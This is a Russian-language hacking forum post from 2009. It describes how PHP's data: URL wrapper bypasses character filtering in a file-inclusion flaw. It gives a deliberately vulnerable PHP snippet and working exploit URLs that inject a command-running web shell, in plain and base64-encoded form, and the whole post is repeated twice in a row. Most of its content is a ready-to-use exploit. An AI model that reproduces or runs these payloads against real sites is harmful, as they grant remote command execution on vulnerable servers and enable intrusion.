cr0w
18.02.2009, 11:56
Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI.
Например, мы имеем код:
<?
// Фильтруется возможность перехода в другие дириктории
// и возможность вписать URL:
$dir = str_replace('/', '', $dir);
$dir = str_replace('.', '', $dir);
if (include($dir . '/lala/file.php'))
{
echo 'Heck!';
}
else
{
echo 'Error!';
}
?>
Для эксплуатации требуется:
PHP Version => 5.2.0
allow_url_include = On
Эксплоит:
http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir
Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'.
<?php system($_GET[c]); ?>
кодируется в
PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=
Эксплоит:
http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0 VUW2NdKTsgPz4=&c=dir
Не нужно заливать файл на сторонний сервер как при обычном RFI.
[+] Можно обойти фильтрацию некоторых символов.
[-] Не обходит file_exist().
Например, мы имеем код:
<?
// Фильтруется возможность перехода в другие дириктории
// и возможность вписать URL:
$dir = str_replace('/', '', $dir);
$dir = str_replace('.', '', $dir);
if (include($dir . '/lala/file.php'))
{
echo 'Heck!';
}
else
{
echo 'Error!';
}
?>
Для эксплуатации требуется:
PHP Version => 5.2.0
allow_url_include = On
Эксплоит:
http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir
Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'.
<?php system($_GET[c]); ?>
кодируется в
PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=
Эксплоит:
http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0 VUW2NdKTsgPz4=&c=dir
Не нужно заливать файл на сторонний сервер как при обычном RFI.
[+] Можно обойти фильтрацию некоторых символов.
[-] Не обходит file_exist().